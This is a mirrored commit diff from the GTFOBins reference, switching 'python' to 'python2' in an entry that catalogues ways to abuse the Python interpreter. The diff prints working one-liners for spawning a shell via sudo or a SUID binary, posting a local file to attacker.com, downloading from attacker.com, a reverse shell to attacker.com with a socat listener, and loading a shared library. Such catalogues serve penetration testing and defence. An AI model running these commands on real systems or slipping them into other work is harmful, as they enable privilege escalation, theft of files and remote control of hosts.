mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Explicitly use the python2 command
This commit is contained in:
parent
dd04e1630a
commit
d7344a5230
@ -1,33 +1,33 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
exec-interactive:
|
exec-interactive:
|
||||||
- code: python -c 'import os; os.system("/bin/sh")'
|
- code: python2 -c 'import os; os.system("/bin/sh")'
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo python -c 'import os; os.system("/bin/sh")'
|
- code: sudo python2 -c 'import os; os.system("/bin/sh")'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./python -c 'import os; os.system("/bin/sh -p")'
|
- code: ./python2 -c 'import os; os.system("/bin/sh -p")'
|
||||||
upload:
|
upload:
|
||||||
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://attacker.com/
|
export URL=http://attacker.com/
|
||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
python -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
|
python2 -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
|
||||||
- description: Serve files in the local folder running an HTTP server.
|
- description: Serve files in the local folder running an HTTP server.
|
||||||
code: |
|
code: |
|
||||||
export LPORT=8888
|
export LPORT=8888
|
||||||
python -m SimpleHTTPServer $LPORT
|
python2 -m SimpleHTTPServer $LPORT
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file via HTTP GET request.
|
- description: Fetch a remote file via HTTP GET request.
|
||||||
code: |-
|
code: |-
|
||||||
export URL=http://attacker.com/file_to_get
|
export URL=http://attacker.com/file_to_get
|
||||||
export LFILE=where_to_save
|
export LFILE=where_to_save
|
||||||
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> on the attacker box to receive the shell.
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> on the attacker box to receive the shell.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
python2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||||
load-library:
|
load-library:
|
||||||
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
- code: python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
||||||
---
|
---
|
Loading…
Reference in New Issue
Block a user